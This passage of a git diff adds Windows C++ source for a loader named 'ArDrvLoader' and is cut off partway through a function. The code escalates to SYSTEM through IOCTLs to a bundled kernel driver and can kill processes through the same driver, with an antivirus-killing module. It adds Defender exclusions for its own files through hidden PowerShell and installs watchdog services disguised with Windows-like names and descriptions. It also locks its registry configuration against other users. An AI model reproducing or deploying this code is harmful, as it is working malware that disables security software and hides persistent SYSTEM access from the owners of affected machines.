nullptr; + } + + if (!TokenIsLocalSystem(dup)) + { + Log(L"[-] Driver returned token is not LocalSystem"); + CloseHandle(dup); + return nullptr; + } + + Log(L"[+] Driver returned usable SYSTEM token handle"); + return dup; +} + +bool EscalateViaDriver(HANDLE* outSystemToken) +{ + if (!OpenDriver()) + return false; + + struct EscRequest + { + BYTE op; + BYTE reserved[15]; + }; + + static_assert(sizeof(EscRequest) == 16, "EscRequest must match driver input buffer size"); + + EscRequest req{}; + req.op = 0x01; + + ULONG_PTR outHandle = 0; + DWORD bytes = 0; + + BOOL ok = DeviceIoControl( + g_hDriver, + IOCTL_ESC, + &req, + sizeof(req), + &outHandle, + sizeof(outHandle), + &bytes, + nullptr); + + DWORD err = ok ? ERROR_SUCCESS : GetLastError(); + + if (!ok && (err == ERROR_INVALID_PARAMETER || err == ERROR_MORE_DATA)) + { + outHandle = 0; + bytes = 0; + + ok = DeviceIoControl( + g_hDriver, + IOCTL_ESC, + &req, + sizeof(req), + nullptr, + 0, + nullptr, + nullptr); + + err = ok ? ERROR_SUCCESS : GetLastError(); + } + + if (!ok) + { + Log(L"[-] IOCTL_ESC failed: %lu", err); + return false; + } + + if (bytes >= sizeof(ULONG_PTR)) + { + HANDLE token = DuplicateDriverReturnedTokenHandle(outHandle); + + if (token) + { + if (outSystemToken) + *outSystemToken = token; + else + CloseHandle(token); + + return true; + } + } + + bool systemNow = IsCurrentProcessSystem(); + + if (!systemNow) + Log(L"[-] IOCTL_ESC returned success, but current process is not SYSTEM and no usable token handle was returned"); + + return systemNow; +} + +bool TerminateProcessViaDriver(DWORD pid) +{ + if (!pid) + return false; + + if (!OpenDriver()) + return false; + + DWORD bytes = 0; + + BOOL ok = DeviceIoControl( + g_hDriver, + IOCTL_TERM, + &pid, + sizeof(pid), + nullptr, + 0, + &bytes, + nullptr); + + if (!ok) + { + Log(L"[-] TerminateProcessViaDriver(%lu) failed: %lu", pid, GetLastError()); + return false; + } + + Log(L"[+] Terminate IOCTL accepted for PID %lu", pid); + return true; +} + + diff --git a/DriverClient.h b/DriverClient.h new file mode 100644 index 0000000..e1d909c --- /dev/null +++ b/DriverClient.h @@ -0,0 +1,20 @@ +#pragma once + +#include + +bool OpenDriver(); +void CloseDriver(); +bool EnsureDriverLoaded(); +bool EscalateViaDriver(HANDLE* outSystemToken); +bool TerminateProcessViaDriver(DWORD pid); + +// Writes the driver image packed into this executable to destPath, overwriting +// whatever is there. Returns false when no image is embedded or writing fails. +bool WriteEmbeddedDriverTo(const wchar_t* destPath); + +// Size of the packed driver image in bytes, 0 when none is embedded. +DWORD EmbeddedDriverSize(); + +// Extracts the embedded ardrv.sys to destPath when the file is absent. +// Returns true when destPath exists afterwards. +bool ExtractDriverImageIfEmbedded(const wchar_t* destPath); diff --git a/Exclusions.cpp b/Exclusions.cpp new file mode 100644 index 0000000..2d2494d --- /dev/null +++ b/Exclusions.cpp @@ -0,0 +1,329 @@ +#include "Common.h" +#include "Exclusions.h" +#include "Paths.h" +#include "Logger.h" + +#include +#include + +static const wchar_t* kConfigKey = L"SOFTWARE\\ArDrvLoader"; +static const wchar_t* kExclusionValue = L"ExclusionPaths"; + +static std::wstring PowerShellPath() +{ + wchar_t sys[MAX_PATH]{}; + + if (GetSystemDirectoryW(sys, _countof(sys)) == 0) + return L"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"; + + return std::wstring(sys) + + L"\\WindowsPowerShell\\v1.0\\powershell.exe"; +} + +// Runs a PowerShell one-liner and captures stdout. +static bool RunPowerShell(const std::wstring& script, std::wstring& output) +{ + output.clear(); + + SECURITY_ATTRIBUTES sa{}; + sa.nLength = sizeof(sa); + sa.bInheritHandle = TRUE; + + HANDLE readEnd = nullptr; + HANDLE writeEnd = nullptr; + + if (!CreatePipe(&readEnd, &writeEnd, &sa, 0)) + return false; + + SetHandleInformation(readEnd, HANDLE_FLAG_INHERIT, 0); + + STARTUPINFOW si{}; + si.cb = sizeof(si); + si.dwFlags = STARTF_USESTDHANDLES; + si.hStdOutput = writeEnd; + si.hStdError = writeEnd; + si.hStdInput = nullptr; + + PROCESS_INFORMATION pi{}; + + std::wstring cmd = + L"\"" + PowerShellPath() + L"\" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command \"" + + script + L"\""; + + std::vector mutableCmd(cmd.begin(), cmd.end()); + mutableCmd.push_back(L'\0'); + + BOOL ok = CreateProcessW( + nullptr, + mutableCmd.data(), + nullptr, + nullptr, + TRUE, + CREATE_NO_WINDOW, + nullptr, + nullptr, + &si, + &pi); + + CloseHandle(writeEnd); + + if (!ok) + { + CloseHandle(readEnd); + return false; + } + + std::string bytes; + char buf[4096]{}; + DWORD read = 0; + + while (ReadFile(readEnd, buf, sizeof(buf), &read, nullptr) && read > 0) + bytes.append(buf, read); + + WaitForSingleObject(pi.hProcess, 60000); + + CloseHandle(readEnd); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + + int need = MultiByteToWideChar(CP_UTF8, 0, bytes.c_str(), (int)bytes.size(), nullptr, 0); + + if (need > 0) + { + output.resize(need); + MultiByteToWideChar(CP_UTF8, 0, bytes.c_str(), (int)bytes.size(), output.data(), need); + } + + return true; +} + +bool DefenderPresent() +{ + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + + if (snap == INVALID_HANDLE_VALUE) + return false; + + PROCESSENTRY32W pe{}; + pe.dwSize = sizeof(pe); + + bool found = false; + + if (Process32First(snap, &pe)) + { + do + { + if (_wcsicmp(pe.szExeFile, L"MsMpEng.exe") == 0) + { + found = true; + break; + } + } while (Process32Next(snap, &pe)); + } + + CloseHandle(snap); + return found; +} + +std::vector DefaultExclusionPaths() +{ + std::vector paths; + + paths.push_back(ArdrvRoot()); + paths.push_back(ArdrvStageDir()); + + wchar_t module[MAX_PATH]{}; + + DWORD len = GetModuleFileNameW(nullptr, module, _countof(module)); + + if (len > 0 && len < _countof(module)) + paths.push_back(module); + + return paths; +} + +static std::wstring EscapePowerShell(const std::wstring& s) +{ + std::wstring out; + + for (wchar_t c : s) + { + if (c == L'\'') + out += L"''"; + else + out += c; + } + + return out; +} + +bool ApplyExclusions(const std::vector& paths, std::wstring& report) +{ + report.clear(); + + if (paths.empty()) + { + report = L"no paths"; + return false; + } + + std::wstring script = L"$ErrorActionPreference='Stop'; "; + + for (const auto& p : paths) + script += L"try { Add-MpPreference -ExclusionPath '" + EscapePowerShell(p) + + L"' -ErrorAction Stop; Write-Output ('APPLIED ' + '" + EscapePowerShell(p) + L"') } " + + L"catch { Write-Output ('REFUSED ' + '" + EscapePowerShell(p) + L"' + ' :: ' + " + + L"$_.Exception.GetType().Name) }; "; + + script += L"try { (Get-MpPreference).ExclusionPath | ForEach-Object { 'NOW ' + $_ } } catch { 'NOW unavailable' }"; + + std::wstring output; + + if (!RunPowerShell(script, output)) + { + report = L"powershell failed"; + return false; + } + + report = output; + + bool applied = output.find(L"APPLIED") != std::wstring::npos; + + Log(L"[excl] apply result: %s", applied ? L"applied" : L"refused by policy"); + + return applied; +} + +std::vector QueryExclusions(std::wstring& report) +{ + std::vector paths; + report.clear(); + + std::wstring output; + + if (!RunPowerShell(L"try { (Get-MpPreference).ExclusionPath | ForEach-Object { $_ } } catch { 'ERR ' + $_.Exception.Message }", output)) + { + report = L"powershell failed"; + return paths; + } + + std::wistringstream in(output); + std::wstring line; + + while (std::getline(in, line)) + { + while (!line.empty() && (line.back() == L'\r' || line.back() == L'\n')) + line.pop_back(); + + if (line.empty()) + continue; + + if (line.rfind(L"ERR", 0) == 0) + { + report = line; + continue; + } + + // Defender answers with a pseudo-entry when the caller is not elevated. + if (line.rfind(L"N/A", 0) == 0) + { + report = line; + continue; + } + + paths.push_back(line); + } + + report = paths.empty() ? L"none" : (std::to_wstring(paths.size()) + L" entries"); + return paths; +} + +std::vector LoadExclusionList() +{ + std::vector paths; + + HKEY key = nullptr; + + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, KEY_READ, &key) != ERROR_SUCCESS) + return paths; + + wchar_t buf[8192]{}; + DWORD size = sizeof(buf); + DWORD type = 0; + + if (RegQueryValueExW(key, kExclusionValue, nullptr, &type, (LPBYTE)buf, &size) == ERROR_SUCCESS && + (type == REG_SZ || type == REG_EXPAND_SZ)) + { + std::wstring all = buf; + std::wstring cur; + + for (wchar_t c : all) + { + if (c == L'|') + { + if (!cur.empty()) + paths.push_back(cur); + + cur.clear(); + } + else + { + cur += c; + } + } + + if (!cur.empty()) + paths.push_back(cur); + } + + RegCloseKey(key); + return paths; +} + +bool SaveExclusionList(const std::vector& paths) +{ + std::wstring joined; + + for (const auto& p : paths) + { + if (!joined.empty()) + joined += L"|"; + + joined += p; + } + + HKEY key = nullptr; + + if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, nullptr, 0, KEY_SET_VALUE, nullptr, &key, nullptr) + != ERROR_SUCCESS) + { + return false; + } + + DWORD bytes = (DWORD)((joined.size() + 1) * sizeof(wchar_t)); + + bool ok = RegSetValueExW( + key, + kExclusionValue, + 0, + REG_SZ, + (const BYTE*)joined.c_str(), + bytes) == ERROR_SUCCESS; + + RegCloseKey(key); + return ok; +} + +std::wstring FormatExclusionList(const std::vector& paths) +{ + if (paths.empty()) + return L"none"; + + std::wostringstream os; + os << paths.size() << L" paths"; + + for (const auto& p : paths) + os << L"\r\n " << p; + + return os.str(); +} diff --git a/Exclusions.h b/Exclusions.h new file mode 100644 index 0000000..a1ecf4d --- /dev/null +++ b/Exclusions.h @@ -0,0 +1,28 @@ +#pragma once + +#include + +#include +#include + +// Defensive exclusions. Best effort by design: Tamper Protection refuses +// Add-MpPreference even for SYSTEM, in which case the report says so instead of +// pretending the exclusion landed. + +bool DefenderPresent(); + +// Paths the loader wants excluded: its own binaries and working directories. +std::vector DefaultExclusionPaths(); + +// Applies the list through Add-MpPreference, then reads the result back. +// report receives one line per path (applied / refused) plus a summary. +bool ApplyExclusions(const std::vector& paths, std::wstring& report); + +// Current Defender exclusion list (empty when Defender is absent or refuses). +std::vector QueryExclusions(std::wstring& report); + +// Persisted wish-list under HKLM\SOFTWARE\ArDrvLoader. +std::vector LoadExclusionList(); +bool SaveExclusionList(const std::vector& paths); + +std::wstring FormatExclusionList(const std::vector& paths); diff --git a/GuardService.cpp b/GuardService.cpp new file mode 100644 index 0000000..5f3a758 --- /dev/null +++ b/GuardService.cpp @@ -0,0 +1,1826 @@ +#include "Common.h" +#include "GuardService.h" + +#include "Logger.h" +#include "ProcessUtils.h" +#include "ServiceManager.h" +#include "DriverClient.h" +#include "HostStager.h" +#include "StageClient.h" +#include "Exclusions.h" +#include "AvKill.h" +#include "Paths.h" + +#include +#include +#include +#include + +static const wchar_t* kConfigKey = L"SOFTWARE\\ArDrvLoader"; + +struct GuardConfig +{ + std::wstring role; + std::wstring serviceName; + std::wstring prefix; + std::wstring targetPath; + std::wstring targetArgs; + std::wstring targetService; + + std::wstring driverImage = L"C:\\Windows\\System32\\drivers\\ardrv.sys"; + std::wstring driverService = L"ArDrv"; + std::wstring driverDevice = L"\\\\.\\ArDrv"; + + // Names of the installed watchdogs, so each role can keep its peers alive. + std::wstring driverServiceName; + std::wstring guardServiceName; + std::wstring repairServiceName; + + DWORD intervalMs = 5000; + DWORD desiredStartType = SERVICE_AUTO_START; + DWORD killAvOnStart = 0; + DWORD driverFailMax = 3; + + bool noStart = false; + bool console = false; + bool allowVm = false; + bool keepLocation = false; + bool installDryRun = false; + std::wstring installDir; + + // Optional cloud agent service installed in the same elevated pass. + std::wstring cloudUrl; + std::wstring cloudSecret; + std::wstring cloudAgent; + std::wstring cloudServiceName; +}; + +static SERVICE_STATUS_HANDLE g_guardStatusHandle = nullptr; +static SERVICE_STATUS g_guardStatus{}; +static HANDLE g_guardStopEvent = nullptr; +static std::wstring g_guardServiceName = L"ArDrvGuard"; +static GuardConfig g_guardBaseConfig; + +static void TrimW(std::wstring& s) +{ + size_t a = 0; + size_t b = s.size(); + + while (a < b && iswspace(s[a])) + ++a; + + while (b > a && iswspace(s[b - 1])) + --b; + + if (a != 0 || b != s.size()) + s = s.substr(a, b - a); +} + +static bool FileExistsW(const std::wstring& path) +{ + if (path.empty()) + return false; + + DWORD attr = GetFileAttributesW(path.c_str()); + return attr != INVALID_FILE_ATTRIBUTES && (attr & FILE_ATTRIBUTE_DIRECTORY) == 0; +} + +static std::wstring GetModuleDirectory() +{ + wchar_t path[MAX_PATH]{}; + DWORD len = GetModuleFileNameW(nullptr, path, _countof(path)); + + if (len == 0 || len >= _countof(path)) + return std::wstring(); + + std::wstring p = path; + size_t pos = p.find_last_of(L"\\/"); + + if (pos != std::wstring::npos) + p = p.substr(0, pos); + + return p; +} + +static std::wstring GetFullPathW(const std::wstring& path) +{ + if (path.empty()) + return path; + + wchar_t full[4096]{}; + DWORD n = GetFullPathNameW(path.c_str(), _countof(full), full, nullptr); + + if (n == 0 || n >= _countof(full)) + return path; + + return full; +} + +static bool RegReadStringValue(const wchar_t* name, std::wstring& out) +{ + out.clear(); + + HKEY key = nullptr; + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, KEY_READ, &key) != ERROR_SUCCESS) + return false; + + DWORD type = 0; + DWORD size = 0; + + if (RegQueryValueExW(key, name, nullptr, &type, nullptr, &size) != ERROR_SUCCESS) + { + RegCloseKey(key); + return false; + } + + if (type != REG_SZ && type != REG_EXPAND_SZ) + { + RegCloseKey(key); + return false; + } + + std::vector buf(size / sizeof(wchar_t) + 1); + + if (RegQueryValueExW(key, name, nullptr, nullptr, (LPBYTE)buf.data(), &size) == ERROR_SUCCESS) + out = buf.data(); + + RegCloseKey(key); + return true; +} + +static bool RegReadDwordValue(const wchar_t* name, DWORD& out) +{ + out = 0; + + HKEY key = nullptr; + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, KEY_READ, &key) != ERROR_SUCCESS) + return false; + + DWORD type = 0; + DWORD size = sizeof(out); + DWORD value = 0; + + bool ok = + RegQueryValueExW(key, name, nullptr, &type, (LPBYTE)&value, &size) == ERROR_SUCCESS && + type == REG_DWORD; + + RegCloseKey(key); + + if (ok) + out = value; + + return ok; +} + +static bool WriteStringValue(HKEY key, const wchar_t* name, const std::wstring& value) +{ + DWORD bytes = (DWORD)((value.size() + 1) * sizeof(wchar_t)); + return RegSetValueExW(key, name, 0, REG_SZ, (const BYTE*)value.c_str(), bytes) == ERROR_SUCCESS; +} + +static bool WriteDwordValue(HKEY key, const wchar_t* name, DWORD value) +{ + return RegSetValueExW(key, name, 0, REG_DWORD, (const BYTE*)&value, sizeof(value)) == ERROR_SUCCESS; +} + +static GuardConfig LoadRuntimeConfig(const GuardConfig& base) +{ + GuardConfig cfg = base; + std::wstring s; + DWORD d = 0; + + if (RegReadStringValue(L"TargetPath", s) && !s.empty()) + cfg.targetPath = s; + + if (RegReadStringValue(L"TargetArgs", s) && !s.empty()) + cfg.targetArgs = s; + + if (RegReadStringValue(L"TargetService", s) && !s.empty()) + cfg.targetService = s; + + if (RegReadStringValue(L"DriverImage", s) && !s.empty()) + cfg.driverImage = s; + + if (RegReadStringValue(L"DriverService", s) && !s.empty()) + cfg.driverService = s; + + if (RegReadStringValue(L"DriverDevice", s) && !s.empty()) + cfg.driverDevice = s; + + if (RegReadDwordValue(L"CheckIntervalMs", d) && d >= 1000) + cfg.intervalMs = d; + + if (RegReadStringValue(L"DriverServiceName", s) && !s.empty()) + cfg.driverServiceName = s; + + if (RegReadStringValue(L"GuardServiceName", s) && !s.empty()) + cfg.guardServiceName = s; + + if (RegReadStringValue(L"RepairServiceName", s) && !s.empty()) + cfg.repairServiceName = s; + + if (RegReadDwordValue(L"DesiredStartType", d) && + (d == SERVICE_AUTO_START || d == SERVICE_DEMAND_START || d == SERVICE_DISABLED)) + { + cfg.desiredStartType = d; + } + + if (RegReadDwordValue(L"KillAvOnStart", d)) + cfg.killAvOnStart = d; + + if (RegReadDwordValue(L"DriverFailMax", d) && d >= 1 && d <= 100) + cfg.driverFailMax = d; + + return cfg; +} + +// Number of consecutive driver load failures, persisted so a boot loop cannot +// retry forever after a bugcheck. +static DWORD LoadDriverFailCount() +{ + DWORD value = 0; + RegReadDwordValue(L"DriverFailCount", value); + return value; +} + +static void SaveDriverFailCount(DWORD value) +{ + HKEY key = nullptr; + + if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, nullptr, 0, KEY_SET_VALUE, nullptr, &key, nullptr) + == ERROR_SUCCESS) + { + WriteDwordValue(key, L"DriverFailCount", value); + RegCloseKey(key); + } +} + +static void SaveDriverState(const wchar_t* state) +{ + HKEY key = nullptr; + + if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, nullptr, 0, KEY_SET_VALUE, nullptr, &key, nullptr) + == ERROR_SUCCESS) + { + WriteStringValue(key, L"DriverState", state); + RegCloseKey(key); + } +} + +static bool HardenConfigKey(HKEY key){ + // SYSTEM and Administrators full control, everyone else nothing. + // Protected DACL so a child key cannot re-grant access. + const wchar_t* sddl = L"D:P(A;CI;KA;;;SY)(A;CI;KA;;;BA)"; + + PSECURITY_DESCRIPTOR sd = nullptr; + + if (!ConvertStringSecurityDescriptorToSecurityDescriptorW( + sddl, + SDDL_REVISION_1, + &sd, + nullptr)) + { + Log(L"[-] Config DACL: SDDL parse failed: %lu", GetLastError()); + return false; + } + + BOOL daclPresent = FALSE; + BOOL daclDefaulted = FALSE; + PACL dacl = nullptr; + + bool ok = + GetSecurityDescriptorDacl(sd, &daclPresent, &dacl, &daclDefaulted) && + daclPresent && + SetSecurityInfo( + key, + SE_REGISTRY_KEY, + DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION, + nullptr, + nullptr, + dacl, + nullptr) == ERROR_SUCCESS; + + if (!ok) + Log(L"[-] Config DACL: SetSecurityInfo failed: %lu", GetLastError()); + + LocalFree(sd); + return ok; +} + +static bool WriteInstalledConfig(const GuardConfig& cfg) +{ + HKEY key = nullptr; + + if (RegCreateKeyExW( + HKEY_LOCAL_MACHINE, + kConfigKey, + 0, + nullptr, + 0, + KEY_SET_VALUE | KEY_READ | WRITE_DAC, + nullptr, + &key, + nullptr) != ERROR_SUCCESS) + { + return false; + } + + bool ok = true; + + ok = WriteStringValue(key, L"TargetPath", cfg.targetPath) && ok; + ok = WriteStringValue(key, L"TargetArgs", cfg.targetArgs) && ok; + ok = WriteStringValue(key, L"TargetService", cfg.targetService) && ok; + ok = WriteStringValue(key, L"DriverImage", cfg.driverImage) && ok; + ok = WriteStringValue(key, L"DriverService", cfg.driverService) && ok; + ok = WriteStringValue(key, L"DriverDevice", cfg.driverDevice) && ok; + ok = WriteDwordValue(key, L"CheckIntervalMs", cfg.intervalMs) && ok; + ok = WriteDwordValue(key, L"DesiredStartType", cfg.desiredStartType) && ok; + ok = WriteStringValue(key, L"DriverServiceName", cfg.driverServiceName) && ok; + ok = WriteStringValue(key, L"GuardServiceName", cfg.guardServiceName) && ok; + ok = WriteStringValue(key, L"RepairServiceName", cfg.repairServiceName) && ok; + ok = WriteDwordValue(key, L"AllowVm", cfg.allowVm ? 1 : 0) && ok; + ok = WriteDwordValue(key, L"KillAvOnStart", cfg.killAvOnStart) && ok; + ok = WriteDwordValue(key, L"DriverFailMax", cfg.driverFailMax) && ok; + + HardenConfigKey(key); + + RegCloseKey(key); + return ok; +} + +static std::wstring DefaultServiceNameForRole(const std::wstring& role) +{ + // Names read like Windows component hosts: short, plausible, and not + // colliding with any real service. + if (_wcsicmp(role.c_str(), L"driver") == 0) + return L"DeviceSetupHost"; + + if (_wcsicmp(role.c_str(), L"repair") == 0) + return L"ServiceStateHost"; + + return L"ProgramCompatHost"; +} + +static std::wstring DisplayNameForRole(const std::wstring& role) +{ + if (_wcsicmp(role.c_str(), L"driver") == 0) + return L"Device Setup Manager Host"; + + if (_wcsicmp(role.c_str(), L"repair") == 0) + return L"Service State Repository Host"; + + return L"Program Compatibility Assistant Host"; +} + +static std::wstring DescriptionForRole(const std::wstring& role) +{ + if (_wcsicmp(role.c_str(), L"driver") == 0) + return L"Maintains device installation state and loads required kernel components."; + + if (_wcsicmp(role.c_str(), L"repair") == 0) + return L"Monitors service state and restores required components."; + + return L"Tracks application compatibility state and keeps registered programs available."; +} + +// Default install directory: %ProgramData%\Microsoft\Windows\Caches\ +static std::wstring DefaultInstallDir(const std::wstring& serviceName) +{ + return ArdrvServiceDir(serviceName); +} + +static bool ParseGuardArgs(int argc, wchar_t** argv, int start, GuardConfig& cfg) +{ + for (int i = start; i < argc; ++i) + { + std::wstring a = argv[i]; + + auto takeNext = [&](std::wstring& out) -> bool + { + if (i + 1 >= argc) + return false; + + out = argv[++i]; + return true; + }; + + if (a == L"--service-name") + { + if (!takeNext(cfg.serviceName)) + return false; + continue; + } + + if (a == L"--prefix") + { + if (!takeNext(cfg.prefix)) + return false; + continue; + } + + if (a == L"--target") + { + if (!takeNext(cfg.targetPath)) + return false; + continue; + } + + if (a == L"--args") + { + if (!takeNext(cfg.targetArgs)) + return false; + continue; + } + + if (a == L"--target-service") + { + if (!takeNext(cfg.targetService)) + return false; + continue; + } + + if (a == L"--driver-image") + { + if (!takeNext(cfg.driverImage)) + return false; + continue; + } + + if (a == L"--driver-service") + { + if (!takeNext(cfg.driverService)) + return false; + continue; + } + + if (a == L"--driver-device") + { + if (!takeNext(cfg.driverDevice)) + return false; + continue; + } + + if (a == L"--interval") + { + std::wstring v; + if (!takeNext(v)) + return false; + + DWORD ms = (DWORD)wcstoul(v.c_str(), nullptr, 10); + if (ms >= 1000) + cfg.intervalMs = ms; + + continue; + } + + if (a == L"--desired-start") + { + std::wstring v; + if (!takeNext(v)) + return false; + + cfg.desiredStartType = + (_wcsicmp(v.c_str(), L"demand") == 0) + ? SERVICE_DEMAND_START + : SERVICE_AUTO_START; + + continue; + } + + if (a == L"--no-start") + { + cfg.noStart = true; + continue; + } + + if (a == L"--console") + { + cfg.console = true; + continue; + } + + if (a == L"--allow-vm") + { + cfg.allowVm = true; + continue; + } + + if (a == L"--install-dir") + { + if (!takeNext(cfg.installDir)) + return false; + continue; + } + + if (a == L"--keep-location") + { + cfg.keepLocation = true; + continue; + } + + if (a == L"--dry-run") + { + cfg.installDryRun = true; + continue; + } + + if (a == L"--cloud-url") + { + if (!takeNext(cfg.cloudUrl)) + return false; + continue; + } + + if (a == L"--cloud-secret") + { + if (!takeNext(cfg.cloudSecret)) + return false; + continue; + } + + if (a == L"--cloud-agent") + { + if (!takeNext(cfg.cloudAgent)) + return false; + continue; + } + + if (a == L"--cloud-service") + { + if (!takeNext(cfg.cloudServiceName)) + return false; + continue; + } + + if (a == L"--elevated") + continue; + + if (!a.empty() && a[0] != L'-' && cfg.targetPath.empty()) + cfg.targetPath = a; + } + + return true; +} + +static bool EnsureDriverFile(const GuardConfig& cfg) +{ + if (FileExistsW(cfg.driverImage)) + return true; + + std::wstring dir = GetModuleDirectory(); + if (dir.empty()) + return false; + + std::wstring local = dir + L"\\ardrv.sys"; + + if (!FileExistsW(local)) + { + // No loose driver next to the exe: try the image packed into this binary. + if (ExtractDriverImageIfEmbedded(cfg.driverImage.c_str())) + return true; + + Log(L"[-] Driver image not found: %s", cfg.driverImage.c_str()); + return false; + } + + if (!CopyFileW(local.c_str(), cfg.driverImage.c_str(), FALSE)) + { + Log(L"[-] CopyFile driver failed: %lu", GetLastError()); + return false; + } + + Log(L"[+] Driver image copied to %s", cfg.driverImage.c_str()); + return FileExistsW(cfg.driverImage); +} + +static bool EnsureDriverRunning(const GuardConfig& cfg) +{ + if (!EnsureDriverFile(cfg)) + return false; + + SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!scm) + { + Log(L"[-] Driver role: OpenSCManager failed: %lu", GetLastError()); + return false; + } + + const DWORD access = + SERVICE_QUERY_STATUS | + SERVICE_START | + SERVICE_CHANGE_CONFIG | + SERVICE_QUERY_CONFIG; + + SC_HANDLE svc = OpenServiceW(scm, cfg.driverService.c_str(), access); + + if (!svc) + { + DWORD e = GetLastError(); + + if (e == ERROR_SERVICE_DOES_NOT_EXIST) + { + svc = CreateServiceW( + scm, + cfg.driverService.c_str(), + cfg.driverService.c_str(), + access, + SERVICE_KERNEL_DRIVER, + SERVICE_DEMAND_START, + SERVICE_ERROR_NORMAL, + cfg.driverImage.c_str(), + nullptr, + nullptr, + nullptr, + nullptr, + nullptr); + + if (svc) + Log(L"[+] Driver service created: %s", cfg.driverService.c_str()); + else + Log(L"[-] Driver service create failed: %lu", GetLastError()); + } + else + { + Log(L"[-] Driver service open failed: %lu", e); + } + } + + if (!svc) + { + CloseServiceHandle(scm); + return false; + } + + SERVICE_STATUS st{}; + bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING; + + if (!running) + { + if (!StartServiceW(svc, 0, nullptr)) + { + DWORD e = GetLastError(); + + if (e == ERROR_SERVICE_DISABLED) + { + ChangeServiceConfigW( + svc, + SERVICE_NO_CHANGE, + SERVICE_DEMAND_START, + SERVICE_NO_CHANGE, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr); + + StartServiceW(svc, 0, nullptr); + } + } + } + + bool deviceOk = false; + + for (int i = 0; i < 60; ++i) + { + HANDLE h = CreateFileW( + cfg.driverDevice.c_str(), + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + nullptr, + OPEN_EXISTING, + 0, + nullptr); + + if (h != INVALID_HANDLE_VALUE) + { + CloseHandle(h); + deviceOk = true; + break; + } + + Sleep(50); + } + + if (!deviceOk) + Log(L"[-] Driver device not available: %s", cfg.driverDevice.c_str()); + + CloseServiceHandle(svc); + CloseServiceHandle(scm); + return deviceOk; +} + +static bool GetProcessImagePath(DWORD pid, std::wstring& out) +{ + out.clear(); + + HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); + if (!h) + return false; + + wchar_t buf[4096]{}; + DWORD size = _countof(buf); + + bool ok = QueryFullProcessImageNameW(h, 0, buf, &size) == TRUE; + + if (ok) + out.assign(buf, size); + + CloseHandle(h); + return ok; +} + +static bool IsTargetProcessRunning(const GuardConfig& cfg) +{ + if (cfg.targetPath.empty()) + return false; + + std::wstring target = GetFullPathW(cfg.targetPath); + + bool pathLike = + target.find(L'\\') != std::wstring::npos || + target.find(L'/') != std::wstring::npos || + target.find(L':') != std::wstring::npos; + + if (!pathLike) + return GetPidByName(cfg.targetPath.c_str()) != 0; + + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (snap == INVALID_HANDLE_VALUE) + return false; + + std::wstring targetName = target; + size_t slash = targetName.find_last_of(L"\\/"); + if (slash != std::wstring::npos) + targetName = targetName.substr(slash + 1); + + PROCESSENTRY32W pe{}; + pe.dwSize = sizeof(pe); + + bool exactFound = false; + bool nameFound = false; + + if (Process32First(snap, &pe)) + { + do + { + if (pe.th32ProcessID == 0 || pe.th32ProcessID == 4) + continue; + + if (!targetName.empty() && _wcsicmp(pe.szExeFile, targetName.c_str()) == 0) + nameFound = true; + + std::wstring image; + + if (!GetProcessImagePath(pe.th32ProcessID, image)) + continue; + + if (_wcsicmp(image.c_str(), target.c_str()) == 0) + { + exactFound = true; + break; + } + } while (Process32Next(snap, &pe)); + } + + CloseHandle(snap); + return exactFound || nameFound; +} + +static bool StartTargetProcess(const GuardConfig& cfg) +{ + if (cfg.targetPath.empty()) + return false; + + HANDLE mutex = CreateMutexW(nullptr, FALSE, L"Global\\ArDrvGuardStart"); + bool locked = false; + + if (mutex) + { + DWORD wait = WaitForSingleObject(mutex, 5000); + + if (wait == WAIT_OBJECT_0 || wait == WAIT_ABANDONED) + locked = true; + else + { + CloseHandle(mutex); + mutex = nullptr; + } + } + + if (locked && IsTargetProcessRunning(cfg)) + { + ReleaseMutex(mutex); + CloseHandle(mutex); + return true; + } + + std::wstring path = GetFullPathW(cfg.targetPath); + + if (!FileExistsW(path)) + { + Log(L"[-] Target program not found: %s", path.c_str()); + + if (locked) + ReleaseMutex(mutex); + if (mutex) + CloseHandle(mutex); + + return false; + } + + std::wstring cmd = L"\"" + path + L"\""; + bool launched = false; + DWORD launchedPid = 0; + + if (!cfg.targetArgs.empty()) + cmd += L" " + cfg.targetArgs; + + // The guard runs as LocalSystem in session 0. Starting the target there + // would make it invisible to the logged-in user, so try the active + // console session first and only fall back to the service session. + DWORD sessionId = WTSGetActiveConsoleSessionId(); + + if (sessionId != 0xFFFFFFFF) + { + HANDLE userToken = nullptr; + + if (WTSQueryUserToken(sessionId, &userToken)) + { + HANDLE primary = nullptr; + + if (DuplicateTokenEx( + userToken, + MAXIMUM_ALLOWED, + nullptr, + SecurityImpersonation, + TokenPrimary, + &primary)) + { + LPVOID env = nullptr; + CreateEnvironmentBlock(&env, primary, FALSE); + + STARTUPINFOW si{}; + si.cb = sizeof(si); + si.lpDesktop = const_cast(L"winsta0\\default"); + + PROCESS_INFORMATION pi{}; + + std::wstring mutableCmd = cmd; + + BOOL created = CreateProcessAsUserW( + primary, + nullptr, + mutableCmd.data(), + nullptr, + nullptr, + FALSE, + CREATE_UNICODE_ENVIRONMENT, + env, + nullptr, + &si, + &pi); + + if (created) + { + launched = true; + launchedPid = pi.dwProcessId; + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + } + else + { + Log(L"[!] CreateProcessAsUser failed: %lu, falling back", GetLastError()); + } + + if (env) + DestroyEnvironmentBlock(env); + + CloseHandle(primary); + } + else + { + Log(L"[!] DuplicateTokenEx failed: %lu", GetLastError()); + } + + 